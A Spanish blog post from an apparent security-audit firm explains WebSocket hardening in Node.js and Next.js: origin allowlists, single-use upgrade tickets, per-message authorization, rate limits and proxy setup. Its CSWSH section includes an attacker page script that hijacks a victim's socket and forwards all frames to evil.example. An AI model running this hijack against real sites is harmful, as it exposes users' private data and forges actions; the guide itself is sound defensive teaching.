Volver al blog
WebSocketCSWSHTiempo realNode.jsNext.jsSeguridad de APIAutorizaciónOWASP

Seguridad en WebSocket con Node.js y Next.js: CSWSH, comprobación de origen y endurecimiento de APIs en tiempo real [2026]

Las APIs en tiempo real no heredan ninguna de las protecciones de HTTP

Cada funcionalidad en tiempo real que lanzas — chat, cursores multijugador, dashboards en vivo, actualizaciones del libro de órdenes, streaming de tokens desde un endpoint de IA — abre una conexión WebSocket. Un GET de HTTP con la cabecera Upgrade, y el protocolo cambia: un canal persistente y bidireccional en el que el servidor empuja datos al cliente sin que este los pida.

Ese único paso de upgrade elimina silenciosamente todo el modelo de seguridad de HTTP. No hay cabeceras por mensaje. No hay frontera petición/respuesta, así que tu cadena de middleware — tokens CSRF, rate limiters, reglas de WAF, CORS — se ejecuta una sola vez, en el handshake, y nunca ve los miles de frames que vienen después. Y la autenticación se queda pegada de la peor manera posible: el navegador adjunta las cookies del usuario al handshake automáticamente, y esa autoridad ambiental permanece viva durante toda la vida de la conexión — minutos u horas — sin importar lo que el usuario haga en otras pestañas.

Por eso los endpoints de WebSocket son un objetivo favorito en los bug bounties y en los ataques reales. Un widget de chat que filtra los mensajes del usuario anterior, una herramienta de soporte cuyo socket transmite el contenido de los tickets al navegador equivocado, un exchange de criptomonedas cuyo flujo privado de órdenes puede leer cualquiera que se conecte — todas estas fueron clases de vulnerabilidad reales en productos reales. La buena noticia: las defensas son baratas, mecánicas y comprobables. Ninguna requiere herramientas exóticas.

CSWSH: cuando una página web controla tu socket

El secuestro de WebSocket entre sitios (CSWSH, Cross-Site WebSocket Hijacking) es la versión WebSocket del CSRF, y es más peligroso que el CSRF en un aspecto importante: el CSRF forja peticiones; el CSWSH abre un canal bidireccional. El atacante puede leer todo lo que el servidor empuje — mensajes, saldos, documentos — y escribir lo que quiera a través de la sesión de la víctima.

Aquí está el ataque completo. La víctima tiene la sesión iniciada en app.example.com en su navegador, con una cookie de sesión. Visita evil.example — un enlace en un email, un comentario, un anuncio, cualquier cosa. Esa página ejecuta:

html
<!-- Served from evil.example -- the victim just visits it -->
<script>
// The browser attaches the victim's app.example.com cookies
// to this handshake automatically. No permission prompt.
const ws = new WebSocket("wss://app.example.com/live");

ws.onopen = () => {
  // The attacker's page speaks through the victim's authenticated socket
  ws.send(JSON.stringify({ action: "list_dms" }));
  ws.send(JSON.stringify({ action: "transfer", to: "attacker", amount: 1000 }));
};

ws.onmessage = (e) => {
  // Every frame the server pushes to the victim is forwarded to the attacker
  fetch("https://evil.example/collect?d=" + encodeURIComponent(e.data));
};
</script>

¿Por qué funciona? Tres hechos se alinean:

  1. El navegador envía las cookies automáticamente. Un handshake de WebSocket es una petición GET, así que el navegador adjunta las cookies de app.example.com — no aplica CORS a las conexiones WebSocket, y ninguna política de origen cruzado impide abrirlas.
  2. Tu servidor nunca preguntó quién era la página. El handshake lleva una cabecera Origin que identifica la página que abrió el socket (https://evil.example). Si el servidor autentica por cookie y nunca mira Origin, autentica felizmente un socket que en realidad está siendo controlado por la página de un atacante.
  3. JavaScript no puede establecer cabeceras HTTP en el handshake, pero no lo necesita — la cookie hace la autenticación por él.

La solución tiene dos capas, y necesitas ambas: la comprobación de origen demuestra que la página que abrió el socket es tuya, y la autenticación en el momento del upgrade demuestra que la entidad detrás del socket es quien dice ser.

Comprobación de origen en el upgrade: innegociable

La cabecera Origin en un handshake de WebSocket la establece el navegador a partir del origen real de la página, y el JavaScript de la página no puede falsificarla. Eso la convierte en un control real contra ataques basados en navegador — que es exactamente el modelo de amenaza del CSWSH. Los clientes que no son navegadores (curl, SDKs de servidor, apps móviles) no envían Origin en absoluto, pero tampoco llevan cookies ambientales, así que no son el vector del CSWSH; los autenticas por separado con tokens, como cubrimos en la siguiente sección.

El comportamiento por defecto de la librería ws acepta todos los handshakes. Nota que los tutoriales antiguos te apuntan a verifyClient, que fue eliminado en ws v8 — si copias una guía que lo usa, tu servidor acepta silenciosamente cualquier cosa. El patrón actual es ejecutar el WebSocketServer en modo noServer e inspeccionar la petición tú mismo en el evento upgrade del servidor HTTP:

js
// VULNERABLE — accepts any origin, authenticates by cookie alone
import { WebSocketServer } from "ws";

const wss = new WebSocketServer({ port: 8080 });

wss.on("connection", (ws, req) => {
  // If auth is cookie-based and Origin is never checked,
  // any website can open a socket as your logged-in user.
});
js
// FIXED — explicit origin allowlist on the upgrade
import { createServer } from "node:http";
import { WebSocketServer } from "ws";

const ALLOWED_ORIGINS = new Set([
  "https://app.example.com",
  "https://www.example.com",
  // Staging/preview origins belong here too, explicitly — never wildcards
]);

const server = createServer((req, res) => {
  res.writeHead(426); // plain HTTP on the WS port: not an upgrade
  res.end("Upgrade Required");
});

const wss = new WebSocketServer({ noServer: true, maxPayload: 64 * 1024 });

server.on("upgrade", (req, socket, head) => {
  const origin = req.headers.origin;

  // Browsers always send Origin on the handshake.
  // Missing Origin = not a browser = must authenticate another way (below).
  if (!origin || !ALLOWED_ORIGINS.has(origin)) {
    socket.write("HTTP/1.1 403 Forbidden\r\n\r\n");
    socket.destroy();
    return;
  }

  wss.handleUpgrade(req, socket, head, (ws) => {
    wss.emit("connection", ws, req);
  });
});

server.listen(8080);

Reglas que importan: solo coincidencia exacta de orígenes — nada de coincidencias por sufijo, nada de comodines, nada de startsWith("https://app.example.com"), que también aceptaría app.example.com.evil.example. Compara contra una constante centralizada y trata la lista blanca como configuración que requiere revisión cuando cambia. Y recuerda lo que la comprobación de origen no es: no es autenticación. Bloquea que otros sitios web controlen los sockets de tus usuarios; no hace nada contra un cliente que hable el protocolo directamente. Esa es la labor de la segunda capa.

Autentica el upgrade — no solo la cookie

La autenticación por cookie es lo que hace posible el CSWSH en primer lugar, porque las cookies son ambientales: el navegador las adjunta tanto si el socket lo abrió tu página como la de un atacante. Después de que pase la comprobación de origen, aún debes demostrar quién es el dueño del socket, y la forma más limpia de hacerlo es no autenticar las conexiones WebSocket con la cookie de sesión en absoluto.

El patrón robusto en un stack Node.js/Next.js:

  1. El cliente llama a un endpoint HTTP autenticado — tu maquinaria normal de sesión o bearer token — para acuñar un ticket de upgrade de un solo uso y vida corta.
  2. El cliente abre el WebSocket con el ticket en el query string.
  3. El handler del upgrade valida la firma y la caducidad del ticket, lo marca como usado y vincula el socket al ID de usuario en el lado del servidor.
js
// GET /api/ws-ticket — behind your normal HTTP auth
// Returns a single-use ticket that expires in ~10 seconds
import crypto from "node:crypto";

const TICKET_SECRET = process.env.WS_TICKET_SECRET; // 32+ random bytes, never in code
const TICKET_TTL_MS = 10_000;

function issueTicket(userId) {
  const body = `${userId}.${Date.now()}`;
  const sig = crypto
    .createHmac("sha256", TICKET_SECRET)
    .update(body)
    .digest("base64url");
  return `${body}.${sig}`;
}

function verifyTicket(ticket) {
  const [userId, issuedAt, sig] = ticket.split(".");
  if (!userId || !issuedAt || !sig) return null;

  const expected = crypto
    .createHmac("sha256", TICKET_SECRET)
    .update(`${userId}.${issuedAt}`)
    .digest("base64url");

  // Constant-time comparison — never use === on signatures
  const sigOk =
    expected.length === sig.length &&
    crypto.timingSafeEqual(Buffer.from(expected), Buffer.from(sig));

  if (!sigOk) return null;
  if (Date.now() - Number(issuedAt) > TICKET_TTL_MS) return null;
  return userId;
}

Después, el handler del upgrade de la sección anterior crece un paso — tras la comprobación de origen, verifica el ticket y consúmelo:

js
import { createClient } from "redis";

const redis = createClient({ url: process.env.REDIS_URL });

// Inside server.on("upgrade"), after the origin check passes:
const ticket = new URL(req.url, "http://localhost").searchParams.get("ticket");
const userId = ticket ? verifyTicket(ticket) : null;
if (!userId) {
  socket.write("HTTP/1.1 401 Unauthorized\r\n\r\n");
  socket.destroy();
  return;
}

// Single-use: SET NX with a TTL. A replayed ticket gets nothing.
const consumed = await redis.set(`ws:ticket:${ticket}`, "1", { NX: true, EX: 60 });
if (!consumed) {
  socket.write("HTTP/1.1 401 Unauthorized\r\n\r\n");
  socket.destroy();
  return;
}

wss.handleUpgrade(req, socket, head, (ws) => {
  ws.userId = userId; // identity bound server-side — the client never declares it
  ws.rooms = new Set();
  wss.emit("connection", ws, req);
});

¿Por qué un ticket en lugar de simplemente la cookie de sesión? Tres propiedades:

  • El secreto de sesión de larga duración nunca sale de tu capa HTTP. Un query string queda registrado en los logs de proxies, CDNs y tus propios access logs; un ticket no vale nada en un log porque caduca en segundos y muere al primer uso.
  • Es revocable en la capa HTTP. Forzar logout o rotar la sesión invalida los tickets futuros inmediatamente, mientras que un socket ya abierto lo mata tu propia lógica de cierre cuando la sesión muere (ver la checklist).
  • Desacopla el socket de la política de cookies. Puedes usar cookies SameSite=Strict, migrar a bearer tokens o añadir MFA sin tocar la ruta del socket. (Sí, SameSite=Strict también suprime el CSWSH — pero está a un atributo mal configurado de no servir para nada, y no hace nada por la autenticación sin cookies; trátalo como defensa en profundidad, no como el control.)

Si no puedes acuñar tickets, la cabecera de subprotocolo es una segunda opción viable: pasa un token de vida corta en Sec-WebSocket-Protocol (new WebSocket(url, ["json", token])), selecciónalo en el servidor y rechaza el handshake si no coincide con una lista blanca. Se mantiene fuera de las URLs y del historial — pero sigue siendo visible para los middleboxes de red, así que mantenlo de vida corta.

Autoriza cada mensaje — el cliente nunca declara su identidad

La autenticación te da un socket con un ID de usuario. La autorización es una decisión separada que debes tomar por cada mensaje, porque el estado del WebSocket es pegajoso y mutable: los usuarios abren sockets, los dejan corriendo durante horas, pierden permisos, reciben bans, les revocan la sesión — y al socket no le importa.

Dos reglas evitan los desastres clásicos de los entornos multi-tenant (multiinquilino):

Regla 1: la identidad se vincula en el upgrade, nunca se lee del cliente. Si tu handler de mensajes confía en un campo userId dentro del payload JSON, el socket CSWSH del atacante — o cualquier usuario aburrido con DevTools — solo tiene que enviar el ID de otra persona. La identidad es el ws.userId que estableciste en el handler del upgrade, y punto. Lo mismo aplica a las salas (rooms): un cliente que anuncie { room: "acme-private-42" } debe ser comprobado contra la pertenencia en el servidor antes de unirse, y el resultado de esa comprobación es lo que almacenas en ws.rooms.

js
wss.on("connection", (ws) => {
  ws.on("message", async (raw) => {
    let msg;
    try {
      msg = JSON.parse(raw.toString());
    } catch {
      return ws.close(1003, "invalid JSON"); // 1003 = unsupported data
    }

    if (msg.type === "join") {
      // Membership comes from YOUR database, never from the client's claims
      const member = await db.roomMember.findFirst({
        where: { roomId: msg.roomId, userId: ws.userId },
      });
      if (!member) return ws.send(JSON.stringify({ error: "forbidden" }));
      ws.rooms.add(msg.roomId);
      return;
    }

    // Every privileged action re-checks authorization on the current state
    if (msg.type === "delete_message") {
      const ok = await canDeleteMessage(ws.userId, msg.messageId); // roles, ownership, bans — fresh query
      if (!ok) return ws.send(JSON.stringify({ error: "forbidden" }));
      await deleteMessage(msg.messageId);
      broadcastToRoom(msg.roomId, { type: "deleted", messageId: msg.messageId });
    }
  });
});

Regla 2: la difusión (broadcast) se filtra por pertenencia. El otro bug clásico: broadcast envía un mensaje a todos los clientes de una sala, pero la sala se derivó del payload del remitente. Si el mapa de salas está contaminado — un usuario se unió a una sala para la que nunca fue autorizado, o el servidor retransmitió a un ID de sala sacado directamente del mensaje — cada retransmisión posterior es una fuga. Filtra usando los registros propios del servidor:

js
function broadcastToRoom(roomId, payload) {
  const data = JSON.stringify(payload);
  for (const client of wss.clients) {
    if (client.readyState === client.OPEN && client.rooms.has(roomId)) {
      client.send(data);
    }
  }
}

Una prueba útil para cada tipo de mensaje: "¿qué hace este handler cuando el remitente no es miembro de la sala que nombra?" Si la respuesta es cualquier cosa distinta de "lo rechaza contra estado fresco", tienes un bug de autorización en producción.

Rate limits, límites de payload e higiene de conexiones

Un WebSocket autenticado es una licencia para golpear tu event loop y tu base de datos desde una sola conexión. Los rate limiters de HTTP nunca ven los frames. Tus defensas:

  • maxPayload en el servidor. El valor por defecto de ws es 100 MiB por frame — un absurdo para JSON. 64 * 1024 (64 KiB) cubre chat, dashboards y streams de tokens; súbelo por endpoint solo si un caso de uso legítimo lo exige.
  • Presupuesto de mensajes por usuario. Un token bucket con clave ws.userId (no por socket — un usuario con cinco pestañas no debería tener cinco veces el presupuesto) con una tasa de recarga modesta. En memoria es suficiente en una sola instancia; usa contadores de Redis cuando escales. Esta es también tu mitigación de DoS más barata: un script que abra 10.000 sockets e inunde de send es una caída real, y un presupuesto limita el daño.
  • Límite de conexiones por usuario. Cinco sockets por usuario es más que suficiente para un uso legítimo con varias pestañas. Lleva el conteo en el handler del upgrade, rechaza con 429 más allá del límite y decrementa en close. Esto solo ya detiene los ataques de agotamiento de sockets (cada socket ocupa un file descriptor y una porción de RAM en tu servidor).
  • Timeout del handshake. Un socket que empieza un upgrade y nunca lo termina retiene un file descriptor. Establece un timeout corto en el socket crudo al inicio del evento upgrade y límpialo cuando handleUpgrade complete.
  • Pings de keepalive. Los proxies y las redes móviles matan las conexiones TCP inactivas silenciosamente. Envía ws.ping() en un intervalo (la librería ws responde automáticamente a los pings de protocolo), rastrea las respuestas pong y termina las conexiones que fallen dos intervalos consecutivos — si no, tu wss.clients se llena de zombis y tu difusión broadcast se ralentiza hasta arrastrarse sobre sockets muertos.
  • Gestiona el evento error. Un evento 'error' sin manejar en un WebSocket o en el servidor tumba el proceso de Node. Adjunta siempre uno; registra el código y el motivo del cierre — los cierres anómalos son tu primera señal de un ataque o de un cliente con mal comportamiento.
js
// Connection hygiene in one place
const CONNECTION_CAP = 5;
const activePerUser = new Map();

server.on("upgrade", (req, socket, head) => {
  // ... origin check + ticket verification as above ...

  const active = activePerUser.get(userId) ?? 0;
  if (active >= CONNECTION_CAP) {
    socket.write("HTTP/1.1 429 Too Many Requests\r\n\r\n");
    socket.destroy();
    return;
  }
  activePerUser.set(userId, active + 1);

  // Handshake timeout: this socket must finish upgrading in 10s or die
  socket.setTimeout(10_000);
  socket.on("timeout", () => socket.destroy());

  wss.handleUpgrade(req, socket, head, (ws) => {
    ws.userId = userId;
    ws.rooms = new Set();
    ws.isAlive = true;
    ws.on("pong", () => (ws.isAlive = true));
    ws.on("close", () => {
      activePerUser.set(userId, activePerUser.get(userId) - 1);
    });
    wss.emit("connection", ws, req);
  });
});

// Liveness sweep every 30s: ping, and kill sockets that missed two pings
const sweep = setInterval(() => {
  for (const client of wss.clients) {
    if (!client.isAlive) return client.terminate();
    client.isAlive = false;
    client.ping();
  }
}, 30_000);
wss.on("close", () => clearInterval(sweep));

Ejecutar WebSockets junto a Next.js

Una nota sobre arquitectura, porque tropieza a todos los equipos de Next.js: los route handlers son de petición/respuesta — no pueden aceptar un upgrade de WebSocket. Next.js no termina WebSockets ni en App Router ni en Pages Router, y las plataformas serverless no soportan conexiones persistentes en absoluto. En la práctica ejecutas una de estas opciones:

  1. Un servidor Node personalizado que monta Next.js y tu WebSocketServer en el mismo origen (el patrón clásico server.js + wss). Funciona, pero tú eres el dueño del servidor de producción — nada de serverless, nada de edge.
  2. Un servicio en tiempo real separado (ws puro, Socket.IO o un proveedor gestionado) detrás del mismo reverse proxy y del mismo origen que Next.js. Esto mantiene la app HTTP desplegable en cualquier sitio y le da a la capa de sockets su propia historia de escalado. Enruta /live al servicio de sockets; enruta todo lo demás a Next.js.

En cualquier caso, el reverse proxy debe hablar el dialecto del upgrade o tus sockets mueren en el borde:

nginx
# nginx — location /live
proxy_pass http://realtime:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header Origin $http_origin;   # your app still sees the real page origin
proxy_read_timeout 3600s;               # default 60s idle timeout kills sockets

Y tres hechos de producción: el TLS es innegociable — sirve wss://, nunca ws://, en producción (los mismos certificados que tu sitio HTTPS); las reglas de mixed content bloquean ws:// desde páginas HTTPS de todas formas. Las comprobaciones de origen solo sobreviven al proxy si reenvías la cabecera — algunos proxies eliminan o reescriben Origin, así que verifica lo que tu edge realmente deja pasar antes de confiar en la comprobación. El escalado horizontal rompe los broadcasts ingenuos — cuando los sockets caen en instancias distintas, wss.clients solo ve los locales; la difusión necesita un adaptador de Redis pub/sub (o el adaptador integrado de Socket.IO) para que un mensaje publicado en la instancia A llegue a los sockets de la instancia B. Presupuesta esto antes del pico de tráfico del día del lanzamiento, no después.

Errores que rompen la producción

  • Confiar en una Origin ausente. Los navegadores siempre la envían; su ausencia significa "no es un navegador" — lo que debe significar "autenticado por token/ticket", nunca "comprobemos la cookie de todas formas".
  • Coincidencia de orígenes descuidada. startsWith, coincidencias por sufijo, o una lista blanca que incluya imitaciones del estilo https://app.example.com.evil.example. Solo pertenencia a un conjunto exacto.
  • Autenticar con la cookie de sesión y nada más. Esa es la receta del CSWSH. Cookie más comprobación de origen es una defensa en profundidad aceptable solo cuando la cookie es SameSite=Strict y aceptas el riesgo residual de los subdominios del mismo sitio.
  • Tokens de larga duración en el query string. Acaban en los logs de proxies, de CDNs y en tus propios access logs. TTL corto, de un solo uso, y nunca el token que también autentica tu API HTTP.
  • Leer la identidad o la pertenencia a salas del payload. ws.userId lo establece el handler del upgrade; cualquier cosa que el cliente diga sobre sí mismo es una afirmación, no un hecho.
  • Hacer broadcast a una sala sin comprobar la pertenencia en el momento del join. Si ws.rooms puede contener una sala para la que el usuario nunca fue autorizado, cada retransmisión es una fuga.
  • Eventos 'error' sin manejar. Un frame malo o una conexión reseteada pueden tumbar todo el proceso de Node — y con él, a todos los usuarios conectados.
  • Sin keepalive. Los sockets muertos en silencio se acumulan; los proxies cierran las conexiones inactivas a los 60s por defecto y tus clientes no se enteran hasta la tormenta de reconexiones.
  • Tormentas de reconexión. Un cliente ingenuo que se reconecta al instante en un bucle cerrado, multiplicado por miles de usuarios durante un incidente, es un DDoS autoinfligido. El backoff exponencial con jitter no es opcional.
  • Registrar el contenido de los frames. Los payloads de WebSocket llevan la misma PII que los cuerpos de tu HTTP — mensajes, documentos, tokens. Registra metadatos y códigos de cierre, no datos; trata el registro de frames completos como una decisión de tratamiento de datos que requiere revisión.

La checklist para el CTO

  • [ ] Cada endpoint de sockets comprueba Origin contra una lista blanca de coincidencia exacta en el evento upgrade; los comodines y la coincidencia por sufijo están prohibidos.
  • [ ] La autenticación ocurre en el momento del upgrade: tickets de un solo uso y vida corta acuñados por un endpoint HTTP autenticado (o un token de subprotocolo) — nunca la cookie de sesión pelada como único control.
  • [ ] El ID de usuario se vincula al socket en el servidor; los handlers de mensajes nunca confían en una identidad suministrada por el cliente.
  • [ ] Las uniones a salas/tenants se comprueban contra la pertenencia en el servidor antes de añadir el socket; la difusión broadcast filtra según esos registros del servidor.
  • [ ] Cada tipo de mensaje privilegiado se vuelve a autorizar contra estado fresco (roles, propiedad, bans) en el momento de gestionarlo.
  • [ ] maxPayload está establecido (≤64 KiB salvo justificación); se aplican presupuestos de mensajes por usuario y un límite de conexiones por usuario, con Redis al escalar.
  • [ ] Timeouts de handshake, pings de keepalive con política de terminación a los dos fallos y handlers de error conectados en cada socket.
  • [ ] Los sockets se cierran en el servidor cuando la sesión del usuario muere o cambian sus permisos — no en el siguiente mensaje, inmediatamente.
  • [ ] Producción sirve wss:// detrás de un proxy que reenvía Upgrade, Connection y Origin; los timeouts de inactividad están elevados.
  • [ ] El servicio en tiempo real tiene su propio rate limiting, monitorización y alertas — es una superficie de ataque separada de la API HTTP (ver nuestra guía de rate limiting de API para el lado HTTP y la guía de gestión de sesiones para el ciclo de vida de las sesiones).

Conclusión

Los WebSockets son la superficie de mayor privilegio y menor observabilidad que la mayoría de las startups lanzan sin pensarlo. El handshake parece una petición HTTP, así que los equipos asumen que aplica el modelo de seguridad de HTTP — pero en el momento en que el protocolo cambia, cada frame es una superficie de ataque nueva sin middleware, sin rate limiter y sin mecanismo de CSRF entre el atacante y tu lógica de negocio. Las soluciones no son exóticas: comprobaciones de origen de coincidencia exacta en el upgrade, tickets de un solo uso en lugar de cookies ambientales, identidad vinculada en el servidor, autorización por mensaje e higiene de conexiones. Cada una son unas pocas líneas de código y un elemento de checklist. Omitirlas es cómo las funcionalidades en tiempo real se convierten en fugas de datos.

Empieza auditando lo que ya tienes: abre la pestaña de red en tu propio producto, mira el handshake que hace tu cliente de sockets y pregúntate qué podría hacer una página de evil.example con el mismo handshake. Después cierra la brecha en el orden anterior — comprobaciones de origen primero, tickets segundo, autorización por mensaje tercero.

¿Necesitas una revisión profesional de tu implementación de WebSocket? Programa una auditoría de seguridad — probaremos tu handshake de upgrade, las comprobaciones de origen, el flujo de tickets, la autorización de salas y la higiene de conexiones contra escenarios de ataque reales.

La semana que viene: IDOR y Broken Access Control (control de acceso roto) — autorización a nivel de objeto en route handlers de Next.js y APIs de Node.js. Desde comprobaciones de propiedad en consultas de PostgreSQL hasta patrones de middleware que cierran la escalada de privilegios horizontal y vertical.

Comparte este artículo:TwitterLinkedIn
JS

JS Security Audit

Auditorías dirigidas por un ingeniero de seguridad JavaScript senior con más de 10 años de experiencia.